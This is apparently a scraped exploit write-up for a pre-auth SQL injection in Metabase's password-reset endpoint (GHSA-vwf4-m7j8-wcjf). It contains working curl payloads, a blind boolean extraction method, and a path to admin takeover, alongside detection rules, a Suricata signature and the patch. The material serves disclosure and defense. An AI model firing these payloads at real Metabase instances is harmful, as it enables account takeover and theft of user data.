## https://sploitus.com/exploit?id=10D77BE8-4452-54F5-8862-226E2CA93E1D
# GHSA-vwf4-m7j8-wcjf β Metabase Pre-Auth SQL Injection
**Unauthenticated SQL injection in `POST /api/session/reset_password` via mass parameter pollution through HoneySQL raw-map rendering.**
| Field | Value |
|---|---|
| Advisory | [GHSA-vwf4-m7j8-wcjf](https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf) |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Bug class | Unauthenticated SQL injection |
| Auth required | None |
| Affected | Metabase >= 0.58.0 (OSS + Enterprise, Cloud + Self-hosted) |
| Fixed in | 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5 |
| Exploited in the wild | Yes β used to exfiltrate user data from Metabase Cloud customers |
## Real-World Impact
This vulnerability was exploited as a 0-day against multiple Metabase customers before the patch existed. Privy (web3 auth infrastructure provider) disclosed that an attacker used this vulnerability to access end-user email addresses and custom metadata from their Metabase analytics instance. Privy's wallet infrastructure was unaffected due to system segregation.
## TL;DR
Three independently harmless design decisions compose into a pre-auth SQLi:
1. **Malli open-map schema** β extra JSON keys (`user-id`) pass validation and reach the handler
2. **Unsafe `merge` in `login!` :around method** β user-controlled keys survive into the auth pipeline
3. **HoneySQL raw-map rendering** β `{"raw": "(SELECT ...)"}` becomes inline SQL in a WHERE clause
The injection resolves an arbitrary user and creates an admin session as a **side-effect** β even though the HTTP response is always 400. On Postgres backends (Metabase Cloud), the attacker can plant a session with a known key via `INSERT...RETURNING`, achieving full admin takeover in a single request. Admin access grants arbitrary SQL execution on all connected data warehouses.
## Reproduction
### Prerequisites
- Docker
- curl
- Java (for H2 database verification)
### Step 1 β Start vulnerable Metabase
```bash
docker run -d --name mb-vuln -p 3000:3000 metabase/metabase:v0.63.2
```
Wait ~60s for startup:
```bash
curl -s http://localhost:3000/api/health
# {"status":"ok"}
```
### Step 2 β Complete setup
```bash
TOKEN=$(curl -s http://localhost:3000/api/session/properties | python3 -c "import sys,json; print(json.load(sys.stdin)['setup-token'])")
curl -s http://localhost:3000/api/setup \
-H 'Content-Type: application/json' \
-d '{"token":"'"$TOKEN"'","user":{"email":"admin@localhost.test","password":"SuperSecret_9!aB","first_name":"Admin","last_name":"Test","site_name":"Test"},"prefs":{"site_name":"Test","site_locale":"en","allow_tracking":false}}'
```
### Step 3 β Fire the injection
```bash
curl -v http://localhost:3000/api/session/reset_password \
-H 'Content-Type: application/json' \
-d '{
"token": "1_aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"password": "SuperComplex_P@ssw0rd_9!aB",
"user-id": {"raw": "(SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)"}
}'
```
**Expected**: `HTTP 400` with `{"errors":{"password":"Invalid reset token"}}`
The 400 is expected β the handler rejects because the token is fake. But the admin session was already created as a side-effect.
### Step 4 β Verify via log signature
```bash
docker logs mb-vuln 2>&1 | grep "reset_password" | tail -5
```
Look for **17 DB calls** β this confirms the SQL injection resolved a user and the full login pipeline ran (including `create-session!`). Normal requests show 1-2 DB calls.
### Step 5 β Verify via DB diff (definitive)
Snapshot the database before and after injection:
```bash
# Snapshot BEFORE
docker stop mb-vuln
docker cp mb-vuln:/metabase.db/metabase.db.mv.db /tmp/before.mv.db
docker cp mb-vuln:/app/metabase.jar /tmp/metabase.jar
docker start mb-vuln
# Wait for startup...
# Inject 3 times
for i in 1 2 3; do
curl -s -o /dev/null http://localhost:3000/api/session/reset_password \
-H 'Content-Type: application/json' \
-d '{"token":"1_aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"(SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE)"}}'
done
# Snapshot AFTER
docker stop mb-vuln
docker cp mb-vuln:/metabase.db/metabase.db.mv.db /tmp/after.mv.db
# Compare
echo "=== BEFORE ==="
java -cp /tmp/metabase.jar org.h2.tools.Shell \
-url "jdbc:h2:/tmp/before" -user "" -password "" \
-sql "SELECT COUNT(*) AS session_count FROM CORE_SESSION"
echo "=== AFTER ==="
java -cp /tmp/metabase.jar org.h2.tools.Shell \
-url "jdbc:h2:/tmp/after" -user "" -password "" \
-sql "SELECT COUNT(*) AS session_count FROM CORE_SESSION; SELECT ID, USER_ID, CREATED_AT FROM CORE_SESSION ORDER BY CREATED_AT DESC LIMIT 5"
```
Session count increases by exactly 3, with 3 new rows for `USER_ID = 1` (the admin).
### Step 6 β Boolean blind SQLi
```bash
# TRUE condition β resolves admin (17 DB calls)
curl -s http://localhost:3000/api/session/reset_password \
-H 'Content-Type: application/json' \
-d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"CASEWHEN(1=1, (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE), 99999)"}}'
# FALSE condition β resolves nobody (2 DB calls)
curl -s http://localhost:3000/api/session/reset_password \
-H 'Content-Type: application/json' \
-d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"CASEWHEN(1=0, (SELECT MIN(ID) FROM CORE_USER WHERE IS_SUPERUSER = TRUE), 99999)"}}'
docker logs mb-vuln 2>&1 | grep "reset_password" | tail -4
```
17 vs 2 DB calls confirms the boolean oracle works β enables bit-by-bit extraction of arbitrary data.
### Step 7 β Verify the fix
```bash
docker run -d --name mb-fix -p 3001:3000 metabase/metabase:v0.63.5
# After setup...
curl -v http://localhost:3001/api/session/reset_password \
-H 'Content-Type: application/json' \
-d '{"token":"1_aaaa","password":"SuperComplex_P@ssw0rd_9!aB","user-id":{"raw":"(SELECT 1)"}}'
```
Fixed version responds with `"disallowed key"` and **0 DB calls**.
### Cleanup
```bash
docker rm -f mb-vuln mb-fix
rm /tmp/before.mv.db /tmp/after.mv.db /tmp/metabase.jar
```
## Kill Chain
```
POST /api/session/reset_password
Body: {"token": "1_fake-uuid", "password": "...", "user-id": {"raw": "(SELECT ...)"}}
Malli validation ββββ passes (open-map schema, user-id is extra key)
β
with-fallback β login! :around method
β
(merge request (authenticate ...))
authenticate β {:success? false} (bad token)
merge keeps user-id = {:raw "..."} (user key survives)
β
(t2/select-one :model/User :id {:raw "(SELECT ...)"})
HoneySQL renders: WHERE "ID" = (SELECT ...)
ββββ SQL INJECTION ββββ
β
User found β create-session! fires β new admin session in DB
β
Handler checks :success? β false β returns 400
(session already created as side-effect)
```
## Impact by Backend
| Backend | SQLi | Session creation | Full admin takeover |
|---|---|---|---|
| H2 (default) | Yes | Yes (side-effect) | No β H2 blocks DML in subqueries; session key not extractable. Blind data extraction via boolean oracle. |
| PostgreSQL (Cloud/prod) | Yes | Yes | **Yes** β `INSERT...RETURNING` in subquery plants a session with a known key. One request to admin. |
## Detection
**Log signature** (anomalous DB call count):
```
POST /api/session/reset_password 400 Xms (17 DB calls) {:metabase-user-id nil}
```
**Suricata rule**:
```
alert http any any -> any any (
msg:"GHSA-vwf4-m7j8-wcjf Metabase reset_password SQLi";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/api/session/reset_password";
http.request_body; content:"user-id";
sid:2026081001; rev:1;
)
```
**WAF mitigation**: Block `POST /api/session/reset_password` bodies containing any key besides `token` and `password`.
## The Fix
The patch in `src/metabase/auth_identity/provider.clj` adds a deny-list of pipeline-internal keys stripped from user input before the merge:
```clojure
(def authenticate-owned-keys
[:user-id :user_id :user-data :auth-identity :provider-id
:success? :session :error :message
:mfa/pending? :mfa/methods :mfa/first-factor
:jwt-data :claims :tenant-slug :tenant-attributes
:user-provisioning-enabled?])
;; Before merge:
(apply dissoc request authenticate-owned-keys)
```
Plus `(true? (:success? ...))` strict boolean check and `(pos-int? user-id)` type validation.
## Files
| File | Description |
|---|---|
| [poc.py](poc.py) | Automated PoC script |
| [report.md](report.md) | Detailed vulnerability report |
## Disclaimer
This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.